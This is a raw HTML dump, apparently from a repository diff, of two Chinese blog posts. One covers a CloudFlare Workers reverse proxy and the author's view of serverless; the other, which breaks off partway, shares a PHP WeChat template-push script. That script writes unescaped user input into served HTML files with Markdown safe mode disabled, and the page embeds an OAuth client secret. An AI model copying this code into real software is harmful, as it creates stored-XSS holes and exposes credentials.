<p id="ai-output">这篇文章介绍了作者尝试使用CloudFlare Workers实现的一些功能包括自建反向代理以加快博客访问速度搭建简单Status Page监测网站可用性以及对Serverless云函数的玩味。作者提到虽然Workers功能完善且支持KV存储但免费版的10万次请求限制对大流量网站并不适用。此外作者认为Serverless更适合小公司大公司则可能不会将其作为主要业务平台因为存在服务中断风险。</p>
<hr />
<ul><li><a href="#起因">起因</a></li><li><a href="#首先给自己搭个反代">首先给自己搭个反代</a></li><li><a href="#给自己的网站搭一个status-page吧">给自己的网站搭一个Status Page吧</a></li><li><a href="#其他玩法">其他玩法</a></li><li><a href="#总结">总结</a></li></ul>
<hr />
<main class="post-content e-content" role="main"><p>挺不错但是还是不如PHP<!--more--></p>
<h1 id="起因">
<a href="#起因"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 起因
</h1>
<p>之前搞<a href="/2021/02/23/picbotpro.html">微信图片机器人</a>的时候我看到P站的图片反代给了一个自己在CloudFlare Workers上建反向代理的<a href="https://pixiv.cat/reverseproxy.html">代码</a></p><p>
虽然我很早就在用CloudFlare也知道Workers这个功能不过我的JavaScript水平不太行而且当时这个功能还不够完善就没怎么管不过既然又见到了那就来玩玩试试看吧现在的这个Workers功能不仅已经很完善而且免费版的限制也少了很多甚至还支持1G的KV存储。</p>
<h1 id="首先给自己搭个反代">
<a href="#首先给自己搭个反代"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 首先给自己搭个反代
</h1>
<p>之前我用PHP给自己的博客搭了一个<a href="/2021/01/06/proxy.html">简单的反代</a>不过我用的那个服务商不太行速度有点慢而且也不是所有的PHP空间都支持伪静态。那既然有CloudFlare Workers那我们就来试试用这个实现吧。 </p><p>
代码如下:</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">addEventListener</span><span class="p">(</span><span class="dl">"</span><span class="s2">fetch</span><span class="dl">"</span><span class="p">,</span> <span class="nx">event</span> <span class="o">=&gt;</span> <span class="p">{</span>
<span class="kd">let</span> <span class="nx">url</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">URL</span><span class="p">(</span><span class="nx">event</span><span class="p">.</span><span class="nx">request</span><span class="p">.</span><span class="nx">url</span><span class="p">);</span>
<span class="nx">url</span><span class="p">.</span><span class="nx">hostname</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">mabbs.github.io</span><span class="dl">"</span><span class="p">;</span>
<span class="nx">event</span><span class="p">.</span><span class="nx">respondWith</span><span class="p">(</span><span class="nx">fetch</span><span class="p">(</span><span class="k">new</span> <span class="nx">Request</span><span class="p">(</span><span class="nx">url</span><span class="p">,</span> <span class="nx">event</span><span class="p">.</span><span class="nx">request</span><span class="p">)));</span>
<span class="p">});</span>
</code></pre></div></div>
<p>看起来代码好像更简单了可惜我的JavaScript水平不行最多只能照猫画虎自己写不来…… </p><p>
最终做出来的网址如下: <a href="https://blog.mayx.workers.dev/">https://blog.mayx.workers.dev/</a> ,这也算是我博客的另一个为了在国内能访问的域名吧……如果自己有域名的话可以设置路由把其他域名绑在上面。 </p><p>
不过CloudFlare Workers也有一些缺陷那就是有请求次数限制免费版只有10w次/天的访问次数限制对于我这种小站还行大一点的请求次数一阵子就用光了相比于限流量的PHP空间用CloudFlare Workers做这种请求比较密集的站并不合适不过这个不限流量如果用来代理下载比较大的文件还是挺不错的。</p>
<h1 id="给自己的网站搭一个status-page吧">
<a href="#给自己的网站搭一个status-page吧"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 给自己的网站搭一个Status Page吧
</h1>
<p>我在看Workers的一些介绍时看到了一个很有意思的东西就是Status Page用来监测网站可用性的看起来很有意思而且部署非常简单具体可以看<a href="https://github.com/eidam/cf-workers-status-page#getting-started">文档</a></p><p>
这个东西支持一键部署只要按照说明很轻松就能搭一个属于自己的Status Page另外我也给花火学园搭了一个<a href="https://status.sayhuahuo.com/">Hanabi Status Page</a>,看起来很专业的样子。</p>
<h1 id="其他玩法">
<a href="#其他玩法"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 其他玩法
</h1>
<p>其实这就是所谓的Serverless的云函数吧我以前玩LeanCloud的时候就玩过了本质其实和那些虚拟网站空间差不多只是可能和平台的集成度更高有一堆自制的API所以效率更高吧。像OneIndex当时也有CloudFlare Workers版的就是功能有点少所以我还是搭的PHP版。 </p><p>
如果自己有能力开发的话利用那个KV存储其实想开发什么网站都可以而且这个支持的语言也很多甚至也支持PHP就是和一般的PHP感觉不太一样…… </p><p>
比如我之前开发的<a href="/2021/02/23/picbotpro.html">图片机器人</a><a href="/2021/02/26/serverchancorp.html">Server酱自制版</a>等等都可以用CloudFlare Workers重写。 </p><p>
像这样甚至自己写一个论坛都没问题不过免费版的限制还是挺多的虽然1G的KV存储还是挺大的但是10w次/天的访问还是太少了,要用的话还是不够……如果做成前后端分离的那种可能还好,一个页面就一次请求,要是没有分离的话访问一次就要请求好多次了,相比之下不考虑流量的话可能免费的虚拟网站空间还能支持更多的请求。</p>
<h1 id="总结">
<a href="#总结"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 总结
</h1>
<p>总之现在Serverless也算是一个现在比较流行的东西有人说Workers是边缘计算不过我感觉现在应该不算了从云计算来看应该算PaaS吧还是BaaS后端即服务不是什么区块链倒是可以玩玩试试看不过也就小公司可能会因为相对便宜而用大公司肯定不会把业务放到这种东西上万一这个服务没了那曾经写的代码可能就全都没用了如果做了兼容层还好毕竟每一个平台的API都不一样现在的Serverless厂家又不可能统一成什么联盟挂了就没了但是在服务器上自己写和部署的代码无论是哪个服务器都可以运行所以这个也就只能是玩玩看未来这个可能不会有很大的发展。</p></main>
<small style="display: block">tags: <a rel="category tag" class="p-category" href="/search.html?keyword=CloudFlare"><em>CloudFlare</em></a> - <a rel="category tag" class="p-category" href="/search.html?keyword=Workers"><em>Workers</em></a> <span style="float: right;"><a href="https://gitlab.com/mayx/mayx.gitlab.io/tree/master/_posts/2021-03-02-workers.md">查看原始文件</a></span></small>
<h4 style="border-bottom: 1px solid #e5e5e5;margin: 2em 0 5px;">推荐文章</h4>
<p id="suggest-container">Loading...</p>
<script>
var suggest = $("#suggest-container");
$.get(BlogAPI + "/suggest?id=/2021/03/02/workers.html&update=" + lastUpdated.valueOf(), function (data) {
if (data.length) {
getSearchJSON(function (search) {
suggest.empty();
var searchMap = {};
for (var i = 0; i < search.length; i++) {
searchMap[search[i].url] = search[i];
}
var tooltip = $('<div class="content-tooltip"></div>').appendTo('body').hide();
for (var j = 0; j < data.length; j++) {
var item = searchMap[data[j].id];
if (item) {
var link = $('<a href="' + item.url + '">' + item.title + '</a>');
var contentPreview = item.content.substring(0, 100);
if (item.content.length > 100) {
contentPreview += "……";
}
link.hover(
function(e) {
tooltip.text($(this).data('content'))
.css({
top: e.pageY + 10,
left: e.pageX + 10
})
.show();
},
function() {
tooltip.hide();
}
).mousemove(function(e) {
tooltip.css({
top: e.pageY + 10,
left: e.pageX + 10
});
}).data('content', contentPreview);
suggest.append(link);
suggest.append(' - ' + item.date + '<br />');
}
}
});
} else {
suggest.html("暂无推荐文章……");
}
});
</script>
<br />
<div class="pagination">
<span class="prev">
<a href="/2021/02/28/discuz.html">
上一篇如何给DiscuzX添加像原生一样的404页面
</a>
</span>
<br />
<span class="next">
<a href="/2021/03/23/wxpush.html">
下一篇:亲自体验微信推送的制作感受
</a>
</span>
</div>
<!--[if !IE]> -->
<link rel="stylesheet" href="/assets/css/gitalk.css">
<script src="/assets/js/gitalk.min.js"></script>
<div id="gitalk-container"></div>
<script>
var gitalk = new Gitalk({
clientID: '36557aec4c3cb04f7ac6',
clientSecret: 'ac32993299751cb5a9ba81cf2b171cca65879cdb',
repo: 'mabbs.github.io',
owner: 'Mabbs',
admin: ['Mabbs'],
id: '/2021/03/02/workers', // Ensure uniqueness and length less than 50
distractionFreeMode: false, // Facebook-like distraction free mode
proxy: "https://cors-anywhere.mayx.eu.org/?https://github.com/login/oauth/access_token"
})
gitalk.render('gitalk-container')
</script>
<!-- <![endif]-->
</section>
<!--[if !IE]> -->
<div id="landlord" style="left:5px;bottom:0px;">
<div class="message" style="opacity:0"></div>
<canvas id="live2d" width="500" height="560" class="live2d"></canvas>
<div class="live_talk_input_body">
<form id="live_talk_input_form">
<div class="live_talk_input_name_body" >
<input type="checkbox" id="load_this" />
<input type="hidden" id="post_id" value="/2021/03/02/workers.html" />
<label for="load_this">
<span style="font-size: 11px; color: #fff;">&#160;想问这篇文章</span>
</label>
</div>
<div class="live_talk_input_text_body">
<input name="talk" type="text" class="live_talk_talk white_input" id="AIuserText" autocomplete="off" placeholder="要和我聊什么呀?" />
<button type="submit" class="live_talk_send_btn" id="talk_send">发送</button>
</div>
</form>
</div>
<input name="live_talk" id="live_talk" value="1" type="hidden" />
<div class="live_ico_box" style="display:none;">
<div class="live_ico_item type_info" id="showInfoBtn"></div>
<div class="live_ico_item type_talk" id="showTalkBtn"></div>
<div class="live_ico_item type_music" id="musicButton"></div>
<div class="live_ico_item type_youdu" id="youduButton"></div>
<div class="live_ico_item type_quit" id="hideButton"></div>
<input name="live_statu_val" id="live_statu_val" value="0" type="hidden" />
<audio src="" style="display:none;" id="live2d_bgm" data-bgm="0" preload="none"></audio>
<input id="duType" value="douqilai" type="hidden" />
</div>
</div>
<div id="open_live2d">召唤伊斯特瓦尔</div>
<!-- <![endif]-->
<footer>
<p>
<small>Made with ❤ by Mayx<br />Last updated at 2026-01-17 17:35:53<br /> 总字数614622 - 文章数178 - <a href="/atom.xml" >Atom</a> - <a href="/README.html" >About</a></small>
</p>
</footer>
</div>
<script src="/assets/js/scale.fix.js"></script>
<!--[if !IE]> -->
<script src="/assets/js/main_new.js"></script>
<script src="/Live2dHistoire/live2d/js/live2d.js"></script>
<script src="/Live2dHistoire/live2d/js/message.js"></script>
<!-- <![endif]-->
</body>
</html>

392
2021/03/23/wxpush.html Normal file
View File

@@ -0,0 +1,392 @@
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<!-- Begin Jekyll SEO tag v2.8.0 -->
<title>亲自体验微信推送的制作感受 | Mayx的博客</title>
<meta name="generator" content="Jekyll v3.9.5" />
<meta property="og:title" content="亲自体验微信推送的制作感受" />
<meta name="author" content="mayx" />
<meta property="og:locale" content="zh_CN" />
<meta name="description" content="感谢大佬完成了最复杂的部分😂" />
<meta property="og:description" content="感谢大佬完成了最复杂的部分😂" />
<meta property="og:site_name" content="Mayx的博客" />
<meta property="og:type" content="article" />
<meta property="article:published_time" content="2021-03-23T00:00:00+08:00" />
<meta name="twitter:card" content="summary" />
<meta property="twitter:title" content="亲自体验微信推送的制作感受" />
<meta name="google-site-verification" content="huTYdEesm8NaFymixMNqflyCp6Jfvd615j5Wq1i2PHc" />
<meta name="msvalidate.01" content="0ADFCE64B3557DC4DC5F2DC224C5FDDD" />
<meta name="yandex-verification" content="fc0e535abed800be" />
<script type="application/ld+json">
{"@context":"https://schema.org","@type":"BlogPosting","author":{"@type":"Person","name":"mayx"},"dateModified":"2021-03-23T00:00:00+08:00","datePublished":"2021-03-23T00:00:00+08:00","description":"感谢大佬完成了最复杂的部分😂","headline":"亲自体验微信推送的制作感受","mainEntityOfPage":{"@type":"WebPage","@id":"/2021/03/23/wxpush.html"},"publisher":{"@type":"Organization","logo":{"@type":"ImageObject","url":"https://avatars0.githubusercontent.com/u/17966333"},"name":"mayx"},"url":"/2021/03/23/wxpush.html"}</script>
<!-- End Jekyll SEO tag -->
<link rel="canonical" href="https://mabbs.github.io/2021/03/23/wxpush.html" />
<link type="application/atom+xml" rel="alternate" href="/atom.xml" title="Mayx的博客" />
<link rel="alternate" type="application/rss+xml" title="Mayx的博客(RSS)" href="/rss.xml" />
<link rel="alternate" type="application/json" title="Mayx的博客(JSON Feed)" href="/feed.json" />
<link rel="stylesheet" href="/assets/css/style.css?v=1768642553" />
<!--[if !IE]> -->
<link rel="stylesheet" href="/Live2dHistoire/live2d/css/live2d.css" />
<!-- <![endif]-->
<link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="Mayx的博客" />
<link rel="webmention" href="https://webmention.io/mabbs.github.io/webmention" />
<link rel="pingback" href="https://webmention.io/mabbs.github.io/xmlrpc" />
<link rel="preconnect" href="https://summary.mayx.eu.org" crossorigin="anonymous" />
<link rel="prefetch" href="https://www.blogsclub.org/badge/mabbs.github.io" as="image" />
<link rel="blogroll" type="text/xml" href="/blogroll.opml" />
<link rel="me" href="https://github.com/Mabbs" />
<script src="/assets/js/jquery.min.js"></script>
<!--[if lt IE 9]>
<script src="//cdnjs.cloudflare.com/ajax/libs/html5shiv/3.7.3/html5shiv.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/jquery-ajaxtransport-xdomainrequest/1.0.3/jquery.xdomainrequest.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/respond.js/1.4.2/respond.min.js"></script>
<![endif]-->
<script>
var lastUpdated = new Date("Sat, 17 Jan 2026 17:35:53 +0800");
var BlogAPI = "https://summary.mayx.eu.org";
</script>
<script src="/assets/js/main.js"></script>
<!--[if !IE]> -->
<!-- Global site tag (gtag.js) - Google Analytics -->
<script async="async" src="https://www.googletagmanager.com/gtag/js?id=UA-137710294-1"></script>
<script>
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', 'UA-137710294-1');
</script>
<script src="/assets/js/instant.page.js" type="module"></script>
<!-- <![endif]-->
</head>
<body>
<!--[if !IE]> --><noscript><marquee style="top: -15px; position: relative;"><small>发现当前浏览器没有启用JavaScript这不影响你的浏览但可能会有一些功能无法使用……</small></marquee></noscript><!-- <![endif]-->
<!--[if IE]><marquee style="top: -15px; position: relative;"><small>发现当前浏览器为Internet Explorer这不影响你的浏览但可能会有一些功能无法使用……</small></marquee><![endif]-->
<div class="wrapper">
<header class="h-card">
<h1><a class="u-url u-uid p-name" rel="me" href="/">Mayx的博客</a></h1>
<img src="https://avatars0.githubusercontent.com/u/17966333" fetchpriority="high" class="u-photo" alt="Logo" style="width: 90%; max-width: 300px; max-height: 300px;" />
<p class="p-note">Mayx's Home Page</p>
<form action="/search.html">
<input type="text" name="keyword" id="search-input-all" placeholder="Search blog posts.." />&#160;<input type="submit" value="搜索" />
</form>
<br />
<p class="view"><a class="u-url" href="/Mabbs/">About me</a></p>
<ul class="downloads">
<li style="width: 270px; border-right: none;"><a href="/MayxBlog.tgz">Download <strong>TGZ File</strong></a></li>
</ul>
</header>
<section class="h-entry">
<small><time class="date dt-published" datetime="2021-03-23T00:00:00+08:00">23 March 2021</time> - 字数统计2981 - 阅读大约需要10分钟 - Hits: <span id="/2021/03/23/wxpush.html" class="visitors">Loading...</span></small>
<h1 class="p-name">亲自体验微信推送的制作感受</h1>
<p class="view">by <a class="p-author h-card" href="//github.com/Mabbs">mayx</a></p>
<div id="outdate" style="display:none;">
<hr /><p>
这是一篇创建于 <span id="outime"></span> 天前的文章,其中的信息可能已经有所发展或是发生改变。
</p>
</div>
<script>
daysold = Math.floor((new Date().getTime() - new Date("Tue, 23 Mar 2021 00:00:00 +0800").getTime()) / (24 * 60 * 60 * 1000));
if (daysold > 90) {
document.getElementById("outdate").style.display = "block";
document.getElementById("outime").innerHTML = daysold;
}
</script>
<hr />
<b>AI摘要</b>
<p id="ai-output">这篇文章讲述了作者通过实际体验从Server酱Mini测试号升级到微信认证的服务号对比了两者在功能、监管和使用过程中的差异。作者提到服务号的监察更严格功能如订阅通知需要用户同意且只能发送一次而模板消息则更加便捷。此外作者还分享了自己对WxPusher平台的评价认为其接口和模板选择有局限性。最后作者表示计划尝试自己建立一个更好的微信推送平台因为现有的选择不尽人意。</p>
<hr />
<ul><li><a href="#起因">起因</a></li><li><a href="#实际体验">实际体验</a></li><li><a href="#使用文档">使用文档</a></li><li><a href="#后续的改进">后续的改进</a></li></ul>
<hr />
<main class="post-content e-content" role="main"><p>感谢大佬完成了最复杂的部分😂<!--more--></p>
<h1 id="起因">
<a href="#起因"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 起因
</h1>
<p>我在上个月写了一个<a href="/2021/02/02/serverchan.html">Server酱Mini测试号版</a>,在此之后有位叫做<a href="https://github.com/guanzi008">guanzi008</a>大佬看到了我的文章并愿意给我提供一个有微信认证的公众号让我体验一下Server酱的实际制作过程对此我表示非常感谢把最复杂的事情做完了。像那个Server酱那个平台说过Ta唯一做的事情就是注册了一个有微信认证的公众号而已毕竟微信开放文档傻子都能看懂没什么技术难度。 </p><p>
正好这次有了这个机会,我就可以真正体验一下测试号和通过了微信认证的服务号之间到底有什么样的区别。</p>
<h1 id="实际体验">
<a href="#实际体验"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 实际体验
</h1>
<p>我以前虽然没有微信认证的公众号,不过曾经有用过同学注册的一个个人的公众号,那个是真的废物,接口几乎全都不能用……现在有了微信认证的公众号之后发现虽然这个非常不错,功能基本上该有的都有了,不过有一些地方还是和测试号各有千秋。比如说测试号的监察要松的多,像模板消息根本没有限制,而且无论发什么东西都不用担心封号。而这个认证公众号的监察就要严的多,直接发违法消息肯定是别想了,就说模板消息还必须要用已有的模板,用没有的必须要通过审核。另外我感觉那个所谓的模板消息下线应该是烟雾弹,人家官方文档说的很清楚,<strong>服务号订阅通知功能开启灰度测试,模板消息能力可正常使用</strong>,所以不用太担心。 </p><p>
那个所谓的订阅通知的功能我已经试过了很烂要想推送必须要让用户同意而且是每一次也就是说用户同意一次才有一次的通知权所以说就很废物。倒是有一个长期订阅就是搞起来非常麻烦。还好模板消息目前来看是只要申请就可以使用。所以接下来我就完善了一下我之前在测试号上用的代码增加了Access Token缓存支持POST请求并且增加了摘要、HTML、Markdown等功能代码如下</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?php</span>
<span class="nv">$appid</span><span class="o">=</span><span class="s1">'公众号APPID'</span><span class="p">;</span>
<span class="nv">$secret</span><span class="o">=</span><span class="s1">'公众号Secret'</span><span class="p">;</span>
<span class="nv">$userid</span><span class="o">=</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'userid'</span><span class="p">];</span>
<span class="nv">$template_id</span><span class="o">=</span><span class="s1">'模板ID'</span><span class="p">;</span>
<span class="nv">$title</span><span class="o">=</span><span class="nb">addslashes</span><span class="p">(</span><span class="nv">$_REQUEST</span><span class="p">[</span><span class="s1">'title'</span><span class="p">]);</span>
<span class="nv">$summary</span><span class="o">=</span><span class="nb">addslashes</span><span class="p">(</span><span class="nv">$_REQUEST</span><span class="p">[</span><span class="s1">'summary'</span><span class="p">]);</span>
<span class="nv">$content</span><span class="o">=</span><span class="nb">addslashes</span><span class="p">(</span><span class="nv">$_REQUEST</span><span class="p">[</span><span class="s1">'content'</span><span class="p">]);</span>
<span class="nv">$addHTML</span><span class="o">=</span><span class="s2">""</span><span class="p">;</span>
<span class="nb">session_id</span><span class="p">(</span><span class="s1">'Storagepush'</span><span class="p">);</span>
<span class="nb">session_start</span><span class="p">();</span>
<span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="nv">$summary</span><span class="p">){</span>
<span class="nv">$summary</span><span class="o">=</span><span class="nv">$content</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="nb">json_decode</span><span class="p">(</span><span class="nb">file_get_contents</span><span class="p">(</span><span class="s1">'https://api.weixin.qq.com/cgi-bin/get_api_domain_ip?access_token='</span><span class="mf">.</span><span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'access_token'</span><span class="p">]),</span><span class="kc">true</span><span class="p">)[</span><span class="s1">'ip_list'</span><span class="p">]){</span>
<span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'access_token'</span><span class="p">]</span><span class="o">=</span><span class="nb">json_decode</span><span class="p">(</span><span class="nb">file_get_contents</span><span class="p">(</span><span class="s1">'https://api.weixin.qq.com/cgi-bin/token?grant_type=client_credential&amp;appid='</span><span class="mf">.</span><span class="nv">$appid</span><span class="mf">.</span><span class="s1">'&amp;secret='</span><span class="mf">.</span><span class="nv">$secret</span><span class="p">),</span><span class="kc">true</span><span class="p">)[</span><span class="s1">'access_token'</span><span class="p">];</span>
<span class="p">}</span>
<span class="k">if</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'type'</span><span class="p">]</span> <span class="o">==</span> <span class="s2">"md"</span><span class="p">){</span>
<span class="k">include_once</span><span class="p">(</span><span class="s2">"Parsedown.php"</span><span class="p">);</span>
<span class="nv">$Parsedown</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Parsedown</span><span class="p">();</span>
<span class="c1">//$Parsedown-&gt;setSafeMode(true);</span>
<span class="nv">$content</span> <span class="o">=</span> <span class="nv">$Parsedown</span><span class="o">-&gt;</span><span class="nf">text</span><span class="p">(</span><span class="nv">$content</span><span class="p">);</span>
<span class="nv">$_GET</span><span class="p">[</span><span class="s1">'type'</span><span class="p">]</span> <span class="o">=</span> <span class="s2">"html"</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">if</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'type'</span><span class="p">]</span> <span class="o">==</span> <span class="s2">"html"</span><span class="p">){</span>
<span class="nv">$filename</span><span class="o">=</span><span class="s1">'html/'</span><span class="mf">.</span><span class="nb">md5</span><span class="p">(</span><span class="nb">uniqid</span><span class="p">(</span><span class="nb">mt_rand</span><span class="p">(),</span> <span class="kc">true</span><span class="p">))</span><span class="mf">.</span><span class="s1">'.html'</span><span class="p">;</span>
<span class="nb">file_put_contents</span><span class="p">(</span><span class="nv">$filename</span><span class="p">,</span> <span class="s1">'&lt;meta name="viewport" content="width=device-width, initial-scale=1"&gt;&lt;title&gt;'</span><span class="mf">.</span><span class="nv">$title</span><span class="mf">.</span><span class="s1">'&lt;/title&gt;&lt;h1&gt;'</span><span class="mf">.</span><span class="nv">$title</span><span class="mf">.</span><span class="s1">'&lt;/h1&gt;&lt;hr&gt;'</span><span class="mf">.</span><span class="nv">$content</span><span class="mf">.</span><span class="s1">'&lt;hr&gt;&lt;center&gt;Powered By &lt;a href="https://mabbs.github.io/"&gt;Mayx&lt;/a&gt;&lt;/center&gt;'</span><span class="p">);</span>
<span class="nv">$addHTML</span><span class="o">=</span><span class="s1">'"url":"https://'</span><span class="mf">.</span><span class="nv">$_SERVER</span><span class="p">[</span><span class="s1">'HTTP_HOST'</span><span class="p">]</span><span class="mf">.</span><span class="s1">'/'</span><span class="mf">.</span><span class="nv">$filename</span><span class="mf">.</span><span class="s1">'", '</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">echo</span> <span class="nb">file_get_contents</span><span class="p">(</span><span class="s1">'https://api.weixin.qq.com/cgi-bin/message/template/send?access_token='</span><span class="mf">.</span><span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'access_token'</span><span class="p">],</span> <span class="kc">false</span><span class="p">,</span> <span class="nb">stream_context_create</span><span class="p">(</span><span class="k">array</span><span class="p">(</span><span class="s1">'http'</span> <span class="o">=&gt;</span> <span class="k">array</span><span class="p">(</span><span class="s1">'method'</span><span class="o">=&gt;</span><span class="s1">'post'</span><span class="p">,</span><span class="s1">'header'</span><span class="o">=&gt;</span><span class="s2">"Content-Type: application/json;charset=utf-8"</span><span class="p">,</span><span class="s1">'content'</span><span class="o">=&gt;</span><span class="s1">'{"touser":"'</span><span class="mf">.</span><span class="nv">$userid</span><span class="mf">.</span><span class="s1">'","template_id":"'</span><span class="mf">.</span><span class="nv">$template_id</span><span class="mf">.</span><span class="s1">'", '</span><span class="mf">.</span><span class="nv">$addHTML</span><span class="mf">.</span><span class="s1">'"data":{"first": {"value":"'</span><span class="mf">.</span><span class="nv">$title</span><span class="mf">.</span><span class="s1">'"}, "keyword1": {"value":"'</span><span class="mf">.</span><span class="nv">$summary</span><span class="mf">.</span><span class="s1">'"}, "keyword2": {"value":"'</span><span class="mf">.</span><span class="nb">date</span><span class="p">(</span><span class="s1">'Y-m-d H:i:s'</span><span class="p">)</span><span class="mf">.</span><span class="s1">'"}}}'</span><span class="p">))));</span>
</code></pre></div></div>
<p>要想使用这个代码的话需要用到<a href="https://github.com/erusev/parsedown">Parsedown</a>的库另外模板消息我用的是ID为<code class="language-plaintext highlighter-rouge">OPENTM207965242</code>的模板,如果有人想要用的话也建议用同一个模板。 </p><p>
另外对于用户的OPENID的获取……想用的话就自己想办法吧获取OPENID这种事情很简单。 </p><p>
从体验上来说应该是吊打Server酱那种垃圾而且还没有广告。理论上最大每日推送量是10w次当账号粉丝数超过10W/100W/1000W时模板消息的日调用上限会相应提升。不过这个不防滥用所以还是需要注意一点的。</p>
<h1 id="使用文档">
